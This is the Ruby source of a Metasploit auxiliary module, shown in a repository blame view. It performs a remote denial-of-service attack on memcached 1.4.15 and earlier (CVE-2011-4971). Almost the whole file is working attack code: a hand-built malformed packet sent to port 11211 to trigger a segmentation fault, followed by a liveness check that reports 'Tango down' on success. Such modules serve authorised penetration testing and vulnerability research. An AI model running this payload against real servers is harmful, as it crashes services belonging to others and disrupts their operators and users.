Files
metasploit-gs/modules/auxiliary/dos/misc/memcached.rb
T

62 lines
1.7 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Auxiliary
2013-08-30 16:28:54 -05:00
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Dos
2013-08-30 16:28:54 -05:00
def initialize(info = {})
super(update_info(info,
'Name' => 'Memcached Remote Denial of Service',
'Description' => %q{
This module sends a specially-crafted packet to cause a
segmentation fault in memcached v1.4.15 or earlier versions.
},
'References' =>
[
[ 'URL', 'https://code.google.com/p/memcached/issues/detail?id=192' ],
[ 'CVE', '2011-4971' ],
[ 'OSVDB', '92867' ]
2013-08-30 16:28:54 -05:00
],
'Author' => [ 'Gregory Man <man.gregory[at]gmail.com>' ],
'License' => MSF_LICENSE
))
register_options([Opt::RPORT(11211),])
2013-08-30 16:28:54 -05:00
end
2013-08-30 16:28:54 -05:00
def is_alive?
begin
connect
disconnect
rescue Rex::ConnectionRefused
return false
end
2013-06-03 12:26:57 -05:00
2013-08-30 16:28:54 -05:00
return true
end
2013-06-03 12:26:57 -05:00
2013-08-30 16:28:54 -05:00
def run
connect
pkt = "\x80\x12\x00\x01\x08\x00\x00\x00\xff\xff\xff\xe8\x00\x00\x00\x00"
pkt << "\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00"
pkt << "\x00\x00\x00\x00\x00\x000\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
pkt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
2013-08-30 16:28:54 -05:00
print_status("#{rhost}:#{rport} - Sending dos packet...")
sock.put(pkt)
disconnect
2013-06-03 12:26:57 -05:00
2013-08-30 16:28:54 -05:00
print_status("#{rhost}:#{rport} - Checking host status...")
select(nil, nil, nil, 1)
2013-06-03 12:26:57 -05:00
2013-08-30 16:28:54 -05:00
if is_alive?
print_error("#{rhost}:#{rport} - The DoS attempt did not work, host is still alive")
else
print_good("#{rhost}:#{rport} - Tango down") # WWJS - What would th3j35t3r say?
end
end
end